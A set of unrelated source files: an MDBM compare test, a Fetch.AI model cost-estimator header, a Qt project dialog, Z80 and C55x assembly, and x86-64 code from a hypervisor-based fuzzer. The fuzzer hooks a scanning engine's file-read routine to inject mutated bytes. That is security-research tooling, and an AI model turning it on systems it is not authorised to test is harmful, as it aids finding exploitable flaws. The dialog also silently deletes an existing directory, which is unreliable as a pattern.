MakeTestMdbms(file1, file2);
}
void CompareTestBase::MakeTestMdbms(const string& fname1, const string& fname2) {
int i;
char key[4096];
char val[4096];
datum kdat, vdat;
int flags = MDBM_O_RDWR | MDBM_O_CREAT | MDBM_O_TRUNC | versionFlag;
MdbmHolder db1 = mdbm_open(fname1.c_str(), flags, 0644, 1024, 4096);
MdbmHolder db2 = mdbm_open(fname2.c_str(), flags|MDBM_LARGE_OBJECTS, 0644, 1024, 8192);
mdbm_setspillsize(db2, 50);
kdat.dptr = key;
vdat.dptr = val;
// first db only
for (i=0; i<5; ++i) {
kdat.dsize = snprintf(key, sizeof(key), "key %04d -.val", i);
vdat.dsize = snprintf(val, sizeof(val), "whereas this is value %07d", i);
mdbm_store(db1, kdat, vdat, MDBM_REPLACE);
}
// second db only
for (i=5; i<10; ++i) {
kdat.dsize = snprintf(key, sizeof(key), "key %04d .-val", i);
vdat.dsize = snprintf(val, sizeof(val), "whereas this is value %07d", i);
mdbm_store(db2, kdat, vdat, MDBM_REPLACE);
}
// both dbs
for (i=10; i<100; ++i) {
kdat.dsize = snprintf(key, sizeof(key), "key %04d ==val", i);
vdat.dsize = snprintf(val, sizeof(val), "whereas this is value %07d", i);
mdbm_store(db1, kdat, vdat, MDBM_REPLACE);
mdbm_store(db2, kdat, vdat, MDBM_REPLACE);
}
// different values
for (i=100; i<105; ++i) {
kdat.dsize = snprintf(key, sizeof(key), "key %04d !=val", i);
vdat.dsize = snprintf(val, sizeof(val), "whereas this is value1 %07d", i);
mdbm_store(db1, kdat, vdat, MDBM_REPLACE);
vdat.dsize = snprintf(val, sizeof(val), "whereas this is value2 %07d", i);
mdbm_store(db2, kdat, vdat, MDBM_REPLACE);
}
// oversize in db1, same key/value
for (i=105; i<110; ++i) {
kdat.dsize = snprintf(key, sizeof(key), "large key %04d", i);
vdat.dsize = snprintf(val, sizeof(val), "whereas this oversized is value %07d", i);
mdbm_store(db1, kdat, vdat, MDBM_REPLACE);
mdbm_store(db2, kdat, vdat, MDBM_REPLACE);
}
// oversize in db1, different value
for (i=110; i<115; ++i) {
kdat.dsize = snprintf(key, sizeof(key), "key %04d !=val", i);
vdat.dsize = snprintf(val, sizeof(val), "whereas this oversized is value1 %07d", i);
mdbm_store(db1, kdat, vdat, MDBM_REPLACE);
vdat.dsize = sprintf(val, "whereas this oversized is value2 %07d", i);
mdbm_store(db2, kdat, vdat, MDBM_REPLACE);
}
}
void CompareTestBase::CompareSame()
{ // compare MDBM against itself
TRACE_TEST_CASE("CompareSame");
const char* args[] = { "foo", file1.c_str(), file1.c_str(), NULL };
reset_getopt();
int ret = comp_main_wrapper(sizeof(args)/sizeof(args[0])-1, (char**)args);
CPPUNIT_ASSERT(ret == 0);
}
void CompareTestBase::CompareDifferent()
{ // compare different MDBMs
TRACE_TEST_CASE("CompareDifferent");
const char* args[] = { "foo", file1.c_str(), file2.c_str(), NULL };
reset_getopt();
int ret = comp_main_wrapper(sizeof(args)/sizeof(args[0])-1, (char**)args);
CPPUNIT_ASSERT(ret != 0);
}
void CompareTestBase::CheckDiffCount()
{ // compare different MDBMs
TRACE_TEST_CASE("CheckDiffCount");
MdbmHolder db1 = mdbm_open(file1.c_str(), MDBM_O_RDONLY, 0, 0, 0);
MdbmHolder db2 = mdbm_open(file2.c_str(), MDBM_O_RDONLY, 0, 0, 0);
uint64_t count1 = dump_different(db1, db2, 0, 0);
uint64_t count2 = dump_different(db1, db2, 1, 0);
uint64_t count3 = dump_different(db2, db1, 1, 0);
CPPUNIT_ASSERT(count1 == 15);
CPPUNIT_ASSERT(count2 == 5);
CPPUNIT_ASSERT(count3 == 5);
}
void CompareTestBase::PatchMissing()
{ // patch missing entries from the first db to the second
TRACE_TEST_CASE("PatchMissing");
{ // dump out keys only in the first db
// NOTE: on FreeBSD, getopt works differently, so filenames *must* be last
const char* args[] = { "foo", "-m", "-F", "cdb",
"-f", difname.c_str(), file1.c_str(), file2.c_str(), NULL };
reset_getopt();
int ret = comp_main_wrapper(sizeof(args)/sizeof(args[0])-1, (char**)args);
CPPUNIT_ASSERT(ret > 0);
}
{ // import changes to the second db
const char* args[] = { "foo", "-c", "-S", "1", "-i", difname.c_str(), file2.c_str(), NULL };
reset_getopt();
int ret = imp_main_wrapper_c(sizeof(args)/sizeof(args[0])-1, (char**)args);
//fprintf(stderr, "import return code is %d\n", ret);
CPPUNIT_ASSERT(ret == 0);
}
MdbmHolder db1 = mdbm_open(file1.c_str(), MDBM_O_RDONLY, 0, 0, 0);
MdbmHolder db2 = mdbm_open(file2.c_str(), MDBM_O_RDONLY, 0, 0, 0);
flags=0; // hacky, reset this so we don't trigger cdb output against null file
uint64_t count1 = dump_different(db1, db2, 0, 0);
uint64_t count2 = dump_different(db1, db2, 1, 0);
uint64_t count3 = dump_different(db2, db1, 1, 0);
CPPUNIT_ASSERT(count1 == 10);
CPPUNIT_ASSERT(count2 == 0);
CPPUNIT_ASSERT(count3 == 5);
}
void CompareTestBase::PatchCommon()
{ // patch common entries from the first db to the second
TRACE_TEST_CASE("PatchCommon");
{ // dump out keys only in both dbs
// NOTE: on FreeBSD, getopt works differently, so filenames *must* be last
const char* args[] = { "foo", "-M", "-F", "cdb",
"-f", difname.c_str(), file1.c_str(), file2.c_str(), NULL };
reset_getopt();
int ret = comp_main_wrapper(sizeof(args)/sizeof(args[0])-1, (char**)args);
CPPUNIT_ASSERT(ret > 0);
}
{ // import changes to the second db
const char* args[] = { "foo", "-c", "-S", "1", "-i", difname.c_str(), file2.c_str(), NULL };
reset_getopt();
int ret = imp_main_wrapper_c(sizeof(args)/sizeof(args[0])-1, (char**)args);
//fprintf(stderr, "import return code is %d\n", ret);
CPPUNIT_ASSERT(ret == 0);
}
MdbmHolder db1 = mdbm_open(file1.c_str(), MDBM_O_RDONLY, 0, 0, 0);
MdbmHolder db2 = mdbm_open(file2.c_str(), MDBM_O_RDONLY, 0, 0, 0);
flags=0; // hacky, reset this so we don't trigger cdb output against null file
uint64_t count1 = dump_different(db1, db2, 0, 0);
uint64_t count2 = dump_different(db1, db2, 1, 0);
uint64_t count3 = dump_different(db2, db1, 1, 0);
CPPUNIT_ASSERT(count1 == 5);
CPPUNIT_ASSERT(count2 == 5);
CPPUNIT_ASSERT(count3 == 5);
}
class CompareTestV3 : public CompareTestBase
{
CPPUNIT_TEST_SUITE(CompareTestV3);
CPPUNIT_TEST(CompareSame);
CPPUNIT_TEST(CompareDifferent);
CPPUNIT_TEST(CheckDiffCount);
CPPUNIT_TEST(PatchMissing);
CPPUNIT_TEST(PatchCommon);
CPPUNIT_TEST_SUITE_END();
public:
CompareTestV3() : CompareTestBase(MDBM_CREATE_V3) {}
};
CPPUNIT_TEST_SUITE_REGISTRATION(CompareTestV3);
|
#pragma once
//------------------------------------------------------------------------------
//
// Copyright 2018-2020 Fetch.AI Limited
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
//------------------------------------------------------------------------------
#include "vectorise/fixed_point/fixed_point.hpp"
#include "vm/common.hpp"
#include "vm_modules/math/tensor/tensor.hpp"
namespace fetch {
namespace vm {
struct String;
}
namespace vm_modules {
namespace math {
class VMTensor;
}
} // namespace vm_modules
namespace vm_modules {
namespace ml {
namespace model {
class VMModel;
class ModelEstimator
{
public:
using VMObjectType = VMModel;
using ChargeAmount = fetch::vm::ChargeAmount;
using SizeType = fetch::math::SizeType;
using DataType = fetch::fixed_point::FixedPoint<32, 32>;
explicit ModelEstimator(VMObjectType &model);
~ModelEstimator() = default;
ModelEstimator(ModelEstimator const &other) = delete;
ModelEstimator &operator =(ModelEstimator const &other) noexcept;
ModelEstimator(ModelEstimator &&other) = delete;
ModelEstimator &operator =(ModelEstimator &&other) noexcept;
ChargeAmount LayerAddDense(fetch::vm::Ptr<fetch::vm::String> const &layer,
math::SizeType const &inputs, math::SizeType const &hidden_nodes);
ChargeAmount LayerAddDenseAutoInputs(fetch::vm::Ptr<fetch::vm::String> const &layer,
math::SizeType const & hidden_nodes);
ChargeAmount LayerAddDenseActivation(fetch::vm::Ptr<fetch::vm::String> const &layer,
math::SizeType const & inputs,
math::SizeType const & hidden_nodes,
fetch::vm::Ptr<fetch::vm::String> const &activation);
ChargeAmount LayerAddConv(fetch::vm::Ptr<fetch::vm::String> const &layer,
math::SizeType const & output_channels,
math::SizeType const &input_channels, math::SizeType const &kernel_size,
math::SizeType const &stride_size);
ChargeAmount LayerAddPool(fetch::vm::Ptr<fetch::vm::String> const &layer,
math::SizeType const &kernel_size, math::SizeType const &stride_size);
ChargeAmount LayerAddEmbeddings(fetch::vm::Ptr<fetch::vm::String> const &layer,
math::SizeType const & dimensions,
math::SizeType const &data_points, bool stub);
ChargeAmount LayerAddConvActivation(fetch::vm::Ptr<fetch::vm::String> const &layer,
math::SizeType const & output_channels,
math::SizeType const & input_channels,
math::SizeType const & kernel_size,
math::SizeType const & stride_size,
fetch::vm::Ptr<fetch::vm::String> const &activation);
ChargeAmount LayerAddDenseActivationExperimental(
fetch::vm::Ptr<fetch::vm::String> const &layer, math::SizeType const &inputs,
math::SizeType const &hidden_nodes, fetch::vm::Ptr<fetch::vm::String> const &activation);
ChargeAmount LayerAddFlatten(fetch::vm::Ptr<fetch::vm::String> const &layer);
ChargeAmount LayerAddDropout(fetch::vm::Ptr<fetch::vm::String> const &layer,
math::DataType const & probability);
ChargeAmount LayerAddActivation(fetch::vm::Ptr<fetch::vm::String> const &layer,
fetch::vm::Ptr<fetch::vm::String> const &activation);
ChargeAmount LayerAddReshape(fetch::vm::Ptr<fetch::vm::String> const & layer,
fetch::vm::Ptr<fetch::vm::Array<math::SizeType>> const &shape);
ChargeAmount LayerAddInput(fetch::vm::Ptr<fetch::vm::String> const & layer,
fetch::vm::Ptr<vm::Array<math::SizeType>> const &shape);
ChargeAmount CompileSequential(fetch::vm::Ptr<fetch::vm::String> const &loss,
fetch::vm::Ptr<fetch::vm::String> const &optimiser);
ChargeAmount CompileSequentialWithMetrics(
vm::Ptr<vm::String> const &loss, vm::Ptr<vm::String> const &optimiser,
vm::Ptr<vm::Array<vm::Ptr<fetch::vm::String>>> const &metrics);
ChargeAmount Fit(vm::Ptr<vm_modules::math::VMTensor> const &data,
vm::Ptr<vm_modules::math::VMTensor> const &labels,
::fetch::math::SizeType const & batch_size);
ChargeAmount Evaluate();
ChargeAmount Predict(vm::Ptr<vm_modules::math::VMTensor> const &data);
ChargeAmount SerializeToString();
ChargeAmount DeserializeFromString(fetch::vm::Ptr<fetch::vm::String> const &model_string);
bool SerializeTo(serializers::MsgPackSerializer &buffer);
bool DeserializeFrom(serializers::MsgPackSerializer &buffer);
SizeType GetPaddedSizesSum();
SizeType GetSizesSum();
SizeType GetOpsCount();
DataType GetForwardCost();
// AddLayer
static const fixed_point::fp64_t ADD_DENSE_PADDED_WEIGHTS_SIZE_COEF;
static const fixed_point::fp64_t ADD_DENSE_WEIGHTS_SIZE_COEF;
static const fixed_point::fp64_t ADD_DENSE_CONST_COEF;
// Compile
static const fixed_point::fp64_t ADAM_PADDED_WEIGHTS_SIZE_COEF;
static const fixed_point::fp64_t ADAM_WEIGHTS_SIZE_COEF;
static const fixed_point::fp64_t ADAM_STEP_IMPACT_COEF;
static const fixed_point::fp64_t SGD_PADDED_WEIGHTS_SIZE_COEF;
static const fixed_point::fp64_t SGD_WEIGHTS_SIZE_COEF;
static const fixed_point::fp64_t SGD_STEP_IMPACT_COEF;
static const fixed_point::fp64_t COMPILE_CONST_COEF;
// Forward
static const fixed_point::fp64_t FORWARD_DENSE_INPUT_COEF;
static const fixed_point::fp64_t FORWARD_DENSE_OUTPUT_COEF;
static const fixed_point::fp64_t FORWARD_DENSE_QUAD_COEF;
static const fixed_point::fp64_t RELU_FORWARD_IMPACT;
static const fixed_point::fp64_t MSE_FORWARD_IMPACT;
static const fixed_point::fp64_t CEL_FORWARD_IMPACT;
static const fixed_point::fp64_t SCEL_FORWARD_IMPACT;
static const fixed_point::fp64_t CATEGORICAL_ACCURACY_FORWARD_IMPACT;
// Backward
static const fixed_point::fp64_t BACKWARD_DENSE_INPUT_COEF;
static const fixed_point::fp64_t BACKWARD_DENSE_OUTPUT_COEF;
static const fixed_point::fp64_t BACKWARD_DENSE_QUAD_COEF;
static const fixed_point::fp64_t RELU_BACKWARD_IMPACT;
static const fixed_point::fp64_t MSE_BACKWARD_IMPACT;
static const fixed_point::fp64_t CEL_BACKWARD_IMPACT;
static const fixed_point::fp64_t SCEL_BACKWARD_IMPACT;
// Predict
static const fixed_point::fp64_t PREDICT_BATCH_LAYER_COEF;
static const fixed_point::fp64_t PREDICT_CONST_COEF;
// Fit
static const fixed_point::fp64_t BACKWARD_BATCH_LAYER_COEF;
static const fixed_point::fp64_t BACKWARD_PER_BATCH_COEF;
static const fixed_point::fp64_t FIT_CONST_COEF;
// Deserialisation
static const fixed_point::fp64_t DESERIALISATION_PER_CHAR_COEF;
static const fixed_point::fp64_t DESERIALISATION_CONST_COEF;
// Serialisation
static const fixed_point::fp64_t SERIALISATION_PER_OP_COEF;
static const fixed_point::fp64_t SERIALISATION_WEIGHT_SUM_COEF;
static const fixed_point::fp64_t SERIALISATION_PADDED_WEIGHT_SUM_COEF;
static const fixed_point::fp64_t SERIALISATION_CONST_COEF;
static constexpr ChargeAmount CONSTANT_CHARGE{vm::COMPUTE_CHARGE_COST};
private:
struct State
{
// Model
DataType forward_pass_cost{"0.0"};
DataType backward_pass_cost{"0.0"};
DataType metrics_cost{"0.0"};
// Optimiser
SizeType weights_size_sum{0};
SizeType weights_padded_size_sum{0};
DataType optimiser_step_impact{"0"};
SizeType last_layer_size{0};
SizeType ops_count{0};
// data
SizeType subset_size{0};
// serialization
bool SerializeTo(serializers::MsgPackSerializer &buffer);
bool DeserializeFrom(serializers::MsgPackSerializer &buffer);
};
VMObjectType &model_;
State state_;
void CopyStateFrom(ModelEstimator const &src);
static ChargeAmount MaximumCharge(std::string const &log_msg = "");
static ChargeAmount ToChargeAmount(fixed_point::fp64_t const &val);
};
} // namespace model
} // namespace ml
} // namespace vm_modules
} // namespace fetch
|
#include "n_new_project_dialog.h"
#include "ui_n_new_project_dialog.h"
#include <QDir>
#include <QFileDialog>
#include <QDebug>
#include <util/n_util.h>
NNewProjectDialog::NNewProjectDialog(QWidget *parent) :
QDialog(parent),
ui(new Ui::NNewProjectDialog)
{
ui->setupUi(this);
ui->projectNameEdit->setText("New Project");
ui->projectPathEdit->setText(QDir::homePath() + "/Desktop");
ui->projectNameEdit->setSelection(0, ui->projectNameEdit->text().length());
connect(ui->okButton, SIGNAL(clicked()), this, SLOT(create()));
connect(ui->cancelButton, SIGNAL(clicked()), this, SLOT(reject()));
connect(ui->selectDirButton, SIGNAL(clicked()), this, SLOT(showDirDialog()));
}
QString NNewProjectDialog::projectName() const {
return mProjectName;
}
QString NNewProjectDialog::projectDirPath() const {
return mProjectDirPath;
}
void NNewProjectDialog::create() {
QString projectName = ui->projectNameEdit->text();
if (projectName.isEmpty()) {
qDebug() << "project name is empty.";
return;
}
QDir parentDir(ui->projectPathEdit->text());
if (!parentDir.exists()) {
qDebug() << "parent dir ist not exists.";
return;
}
QString dirName = QString(projectName).replace(" ", "_");
QString dirPath = parentDir.absoluteFilePath(dirName);
// FIXME: remove this debug code.
if (QFileInfo(dirPath).exists()) {
if (!QDir(dirPath).removeRecursively()) {
return;
}
}
NUtil::copyDir(":/template", dirPath);
mProjectName = projectName;
mProjectDirPath = dirPath;
accept();
}
void NNewProjectDialog::showDirDialog() {
QString dirPath = QFileDialog::getExistingDirectory(this, tr(""), QDir::homePath());
if (dirPath.isEmpty()) {
return;
}
ui->projectPathEdit->setText(dirPath);
}
NNewProjectDialog::~NNewProjectDialog()
{
delete ui;
}
|
; MALLOC function for far memory model
; 29/3/00 GWL
; 30/3/00 Changed size type to long, so >64K mallocs possible
;
; $Id: malloc_far.asm,v 1.3 2009/06/22 21:44:16 dom Exp $
;
XLIB malloc_far
XREF malloc_table,pool_table,farpages,farmemspec
XREF free_loop
include "memory.def"
; far *malloc(long size)
.malloc_far
pop de
pop bc
pop hl
push hl ; HLBC=required size (bytes)
push bc
push de
ld a,l
and $80
or h
jp nz,badmalloc ; trying to malloc 8Mb+....
ld a,c
ld c,b
ld b,l ; BC=pages required, ignoring low byte
inc bc
inc a
jr nz,mall2
inc bc ; BC=total pages required (with 2byte ovhead)
; Stage 1 is to locate a free fragment in the malloc table large enough
; to hold the amount of memory we require
.mall2 ld hl,malloc_table ; search start
ld ix,0 ; and size found
ld de,(farpages) ; pages to search
push ix ; save best match so far
push hl
.malsearch
ld a,d
or e
jr z,endsearch ; end of malloc_table reached
dec de
ld a,(hl)
inc hl
inc hl
and a
jr nz,malsearch ; back until found a free page
push hl ; save start of this fragment+2
ld ix,0
.malfragment
inc ix
ld a,d
or e
jr z,endfragment ; end of malloc_table reached
dec de
ld a,(hl)
inc hl
inc hl
and a
jr z,malfragment ; back until end of fragment
.endfragment
push ix
ex (sp),hl
and a
sbc hl,bc ; is fragment big enough?
jr nc,goodmatch
pop hl
pop af ; discard fragment start
jr malsearch
.goodmatch
add hl,bc
ex (sp),hl
exx
pop hl ; HL'=fragment size
pop ix ; IX=fragment start+2
dec ix
dec ix ; IX=real fragment start
pop de ; DE'=start of best so far
pop bc ; BC'=size of best so far
ld a,b
or c
jr z,usenew ; use new fragment if no previous one
sbc hl,bc
jr nc,useold ; use old if <=size of new one
add hl,bc ; restore HL=fragment size
.usenew push hl
push ix
exx
jr malsearch
.useold push bc
push de
exx
jr malsearch
.endsearch
pop hl ; HL=start of best fragment found
pop de ; DE=size
ld a,d
or e
jr z,badmalloc ; no suitable fragment found
; Stage 2 is to fill the fragment with memory
; We start with HL=address in malloc_table & BC=pages required
push hl ; save parameters
push bc
ld d,31 ; pretend bank 31 is available
.nextpool
call findpool ; IX=pool to allocate from, D=bank
jr c,partmalloc
.nextpage
push bc ; save pages to do
push hl ; save malloc_table address
.badpage
xor a
ld bc,256
call_oz(os_mal) ; get a page
jr nc,gotpage
pop hl ; restore malloc_table address
pop bc
jr nextpool
.gotpage
ld a,l
and a
jr nz,badpage ; EEK! OZ returned non-page-aligned mem...
ld a,b
cp d
jr nz,badpage ; EEK! Not from the expected bank...
ld a,h
pop hl
ld (hl),d ; store bank
inc hl
ld (hl),a ; and high byte
inc hl
pop bc
dec bc
ld a,b
or c
jr nz,nextpage
pop bc ; pages allocated
pop hl ; HL=address in malloc_table
ld a,($04d1)
ex af,af' ; save seg1 binding
ld a,(hl)
inc hl
ld d,(hl)
dec hl
ld ($04d1),a
out ($d1),a ; bind in start of allocated memory
ld e,0 ; DE=address in segment 1
ld a,c
ld (de),a
inc de
ld a,b
ld (de),a ; store #pages allocated in first two bytes
ex af,af'
ld ($04d1),a
out ($d1),a ; rebind seg 1
ld de,malloc_table
and a
sbc hl,de
srl h
rr l ; HL=pool page number
ld e,h
inc e ; because E=0 reserved for local memory
ld h,l
ld l,2 ; EHL=far pointer (skipping #pages)
ret ; success!
; At this point we need to free up what we've allocated so far and
; then return a NULL pointer
.partmalloc
pop bc
pop hl
call free_loop ; free pages already allocated
; Here we return a NULL pointer because we're unable to malloc what's
; required
.badmalloc
ld e,0
ld hl,0
ret
; Subroutine to find a new pool to allocate from.
; IN: D=previous bank
; OUT(success): Fc=0
; D=new bank
; IX=pool handle
; OUT(failure): Fc=1
;
; Registers changed after return:
; ..BC.EHL/..IY same
; AF..D.../IX.. different
.findpool
push bc
push hl
ld hl,pool_table-32
ld c,d
ld b,0
add hl,bc
.fpool2 inc hl
inc d
jr z,openpool ; open new pool if end of bank list
ld a,(hl)
and a
jr z,fpool2 ; back if pool not open yet
add a,a
rl b ; (B was 0 from code above)
add a,a
rl b
add a,a
rl b
add a,a
rl b
ld ixh,b
ld ixl,a ; IX=pool handle
and a ; Fc=0, success!
.nopool
pop hl
pop bc
ret
.openpool
ld a,(farmemspec)
ld bc,0
call_oz(os_mop)
jr c,nopool
xor a
ld bc,256
call_oz(os_mal)
ld a,b
push af ; save A=bank number
ld bc,256
call_oz(os_mfr)
pop af
ld hl,pool_table-32
ld c,a
ld b,0
add hl,bc
ld a,ixl
ld b,ixh
srl b
rra
srl b
rra
srl b
rra
srl b
rra
ld (hl),a ; save compressed pool handle
ld d,c ; D=bank
pop hl
pop bc
and a ; success!
ret
|
[bits 64]
corrupt_quantum:
push rax
push rbx
push rcx
push rdx
push rsi
push rdi
push rbp
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
XMMPUSH xmm5
call start_log
call rand_dict_entry
mov rsi, rbx
mov rdi, qword [gs:thread_local.rtf_fuzz]
mov rcx, qword [fs:globals.per_node_rtf + node_struct.data_len]
rep movsb
%ifndef ENABLE_FUZZING
jmp .done
%endif
call xorshift64
test r15, 0x3
jz .create_new_fuzz
.use_coverage:
mov r10, -1
mov r11, 0
mov r12, 64
.try_another:
dec r12
jz short .do_the_copy
mov rcx, qword [fs:globals.coverage_fht]
call fht_random
test rax, rax
jz .try_another
cmp qword [rax + bb_struc.count], r10
jae short .try_another
mov r10, qword [rax + bb_struc.count]
mov r11, rax
jmp short .try_another
.do_the_copy:
test r11, r11
jz .create_new_fuzz
movdqu xmm5, [r11 + bb_struc.input_hash]
call input_entry_from_hash
mov rsi, rdx
mov rdi, qword [gs:thread_local.rtf_fuzz]
mov rcx, qword [fs:globals.per_node_rtf + node_struct.data_len]
rep movsb
.create_new_fuzz:
%if 0
mov rdi, qword [gs:thread_local.rtf_fuzz]
call xorshift64
mov rcx, r15
and rcx, 0xff
test rcx, rcx
jz short .no_byte_corrupt
.lewp:
call xorshift64
xor rdx, rdx
mov rax, r15
div qword [fs:globals.per_node_rtf + node_struct.data_len]
call xorshift64
mov byte [rdi + rdx], r15b
dec rcx
jnz short .lewp
.no_byte_corrupt:
%endif
%if 0
call xorshift64
mov rcx, r15
and rcx, 0xf
test rcx, rcx
jz short .no_corp_corrupt
.cc_corrupt:
call corrupt_from_corpus
dec rcx
jnz short .cc_corrupt
.no_corp_corrupt:
%endif
%if 1
call corpymem
call corpymem
call corpymem
call corpymem
%endif
.done:
call stop_log
add qword [gs:thread_local.time_corrupt], rdx
XMMPOP xmm5
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rbp
pop rdi
pop rsi
pop rdx
pop rcx
pop rbx
pop rax
ret
inject_corrupt_bytes:
push rcx
push rdx
push rdi
push rsi
push r10
push r11
; Hook 1 - UfsIoCache::Read()
; hook at mpengine+0x????
; r10 - Offset
; r11 - Buffer
; r12d - Bytes read
;
; [rsp + 0x78 + 0x10] - int64_t off
; [rsp + 0x78 + 0x18] - void *buf
; Get the offset
mov rdx, [rax + VMCB.rsp]
add rdx, 0x78 + 0x10
call mm_read_guest_qword
mov r10, rdx
; Get the buffer
mov rdx, [rax + VMCB.rsp]
add rdx, 0x78 + 0x18
call mm_read_guest_qword
mov r11, rdx
; Calculate bread + offset
mov rsi, r12
add rsi, r10
; (length + offset) must not exceed file length
cmp rsi, qword [fs:globals.per_node_rtf + node_struct.data_len]
ja short .dont_corrupt
; Allocate room on the stack for the data
sub rsp, r12
; Read the read contents from the VM
mov rdi, rsp
mov rsi, r11
mov rcx, r12
call mm_copy_from_guest_vm_vmcb
; Check if the contents from the VM match the original input file at the
; specified offset
mov rdi, rsp
mov rsi, qword [gs:thread_local.rtf_orig]
add rsi, r10
mov rcx, r12
rep cmpsb
jne short .dont_corrupt_free
mov rsi, qword [gs:thread_local.rtf_fuzz]
add rsi, r10
mov rdi, r11
mov rcx, r12
call mm_copy_to_guest_vm_vmcb
.dont_corrupt_free:
add rsp, r12
.dont_corrupt:
pop r11
pop r10
pop rsi
pop rdi
pop rdx
pop rcx
ret
|
; .cdecls C, LIST, "FreeRTOSConfig.h"
; .include "FreeRTOSConfig.h"
; 32-bit stack slow mode
.mmregs
.C54CM_off
; .CPL_off
.ARMS_off
.align 4
; .c28_amode
.global _usCriticalNesting
.global _save_xsp
.global _save_xssp
.global _first_save_xsp
.global _first_save_xssp
.global _first_flag
.global _save_xar7
.global _tZero
.global _save_xar6
.global _pxCurrentTCB ;; our currently exectuting TCB
.global _xTaskIncrementTick
.ref _xTaskIncrementTick
.global _vTaskSwitchContext
.global _prvSetupTimerInterrupt
.global _tickIRQctr ;; debug - to be disabled during normal run/release
.global _save_new_pxcode ;; updated program counter that task suspended on
.global _save_new_pxlcode ;; sysstack contents plus loop counter contents
.global _xCompareTCB ;; task Control Block for comparison
; .ref configUSE_TICK_CTR
; .ref configUSE_PREEMPTION
.def _vPortYield
.def _xPortStartScheduler
.def _vTickISR
.global _vPortYield
.global _xPortStartScheduler
.global _vTickISR
.global _INT14_ISR
.global _portFLAGS_INT_ENABLED
.global _portFLAGS_INT_ENABLED_POPPED
.global _DBSTAT_SAVE
.global _DBSTAT_RESTORE
.global _STATUS0_LOW
.global _STATUS0_HIGH
.global _STATUS1_LOW
.global _STATUS1_HIGH
.global _STATUS2_LOW
.global _STATUS2_HIGH
.global _PC_REG_HIGH_SAVE
.global _PC_REG_LOW_SAVE
.global _PC_REG_HIGH_RESTORE
.global _PC_REG_LOW_RESTORE
; .cdecls C,NOLIST,"portmacro.h"
; .cdecls C,LIST,"FreeRTOSConfig.h"
; CLRC AMODE
; System Stack
.text
portSAVE_CONTEXT .macro
; ;CONTEXT_SAVE
; ASP ; Align Stack Pointer
; CLRC OVM,PAGE0
; CLRC AMODE
; EALLOW
bclr C54CM ; temp - until we figure out what is setting this
bset INTM ; disable interrupts
;; mov xsp, dbl (*(#_save_xsp)) ; save xsp
;; mov xssp, dbl (*(#_save_xssp)) ; save xssp
;; mov dbl (*(#_save_xsp)), xsp ; restore xsp***
;; mov dbl (*(#_save_xssp)), xssp ; restore xssp***
; pshboth xar7
; pshboth xar6
; pshboth xar5
mov xar7, dbl (*(#_save_xar7)) ; save xar7
; .if configUSE_CONTEXT_DEBUG == 1
mov xar6, dbl (*(#_save_xar6))
; .endif
mov dbl (*(#_pxCurrentTCB)), xar7
; does this *always* work?
mov dbl (*ar7), xsp ; xsp contains our TCB now
mov dbl (*ar7(#2)), xssp
.if 0
mov dbl (*(_xCompareTCB)), xar6 ; need to restore our return address
mov xar7, ac0
mov xar6, ac1
CMPU AC1 != AC0, TC1
BCC $5,TC1
amov #0x000000, xar7
amov #0x000000, xar6
mov *(#_save_new_pxcode), ar7
mov ar7, *sp(#0)
mov *(#_save_new_pxlcode) , ar7
mov ssp, ar6
mov ar7, *ar6(#0)
mov dbl (*(#_save_xar6)), xar6
.endif
$5:
;; what about xssp here?
;; mov xsp, dbl (*(#_save_xsp)) ; save xsp
;; mov xssp, dbl (*(#_save_xssp)) ; save xssp
.if configUSE_CONTEXT_DEBUG == 1
;; save current PC (and possible loop bits values)
;; for debug - to see if this is being corrupted
mov dbl(*ar7), xar6
mov dbl(*ar6), xar7
mov xar7, dbl (*(#_PC_REG_LOW_SAVE)) ; save off the PC
mov xssp, xar7
mov dbl(*ar7), xar6
mov dbl(*ar6), xar7
mov xar7, dbl (*(#_PC_REG_HIGH_SAVE)) ; save off the PC
mov xssp, xar7
add #-2, ar7
mov dbl(*ar7), xar6
mov xar6, dbl (*(_DBSTAT_SAVE))
mov dbl (*(#_save_xar6)), xar6
; mov (*ar7), (*(#_PC_REG_LOW_SAVE))
; mov dbl(*xssp),(*(#_PC_REG_HIGH_SAVE))
; mov (*ssp(#-2)), (*(#_DBSTAT_SAVE))
.endif
; save context in our stack(s) frame
mov dbl (*(#_pxCurrentTCB)), xar7
mov dbl (*ar7), xsp ; xsp contains our TCB now
mov dbl (*ar7(#2)), xssp
mov dbl (*(#_save_xar7)), xar7 ; restore xar7
mov xar7, dbl(*sp(#8)) ; save xar7
mov ar7, *sp(#7)
mov xar6, dbl(*sp(#10))
mov ar6, *sp(#9)
mov xar5, dbl(*sp(#12))
mov ar5, *sp(#11)
mov xar4, dbl(*sp(#14))
mov ar4, *sp(#13)
mov xar3, dbl(*sp(#16))
mov ar3, *sp(#15)
mov xar2, dbl(*sp(#18))
mov ar2, *sp(#17)
mov xar1, dbl(*sp(#20))
mov ar1, *sp(#19)
mov xar0, dbl(*sp(#22))
mov ar0, *sp(#21)
mov t3, *sp(#23)
mov t2, *sp(#24)
mov t1, *sp(#25)
mov t0, *sp(#26)
;; mov mmap(ST0_55), t0
; - this is ok - we are not pushing - it's a relative stack frame
; mov t0, *sp(#25)
;; mov t0, *sp(#23)
;; mov mmap(ST1_55), t1
; mov t1, *sp(#26) ; stomping on own mem
;; mov t1, *sp(#21) ; stomping on own mem
;; mov mmap(ST2_55), t2
;; mov t2, *sp(#22)
; mov t2, *sp(#27)
;; mov mmap(ST2_55), t3
; mov t3, *sp(#28)
;; mov t3, *sp(#24)
; PSH dbl(AR0) ; 32-bit
; PSH dbl(AR1)
; PSH dbl(AR2) ; 32-bit
; PUSH XAR3 ; 32-bit
; PUSH XAR4 ; 32-bit
;-- Comment these to save cycles --------
; PUSH XAR5 ; 32-bit
; PUSH XAR6 ; 32-bit
; PUSH XAR7 ; 32-bit
;----------------------------------------
; PUSH XT ; 32-bit
; movl xar6, @_portFLAGS_INT_ENABLED
; push xar6 ; portFLAGS_INT_ENABLED
mov dbl (*(#_portFLAGS_INT_ENABLED)), xar6
mov xar6, dbl(*sp(#6))
; movl xar7, @_usCriticalNesting
; push xar7
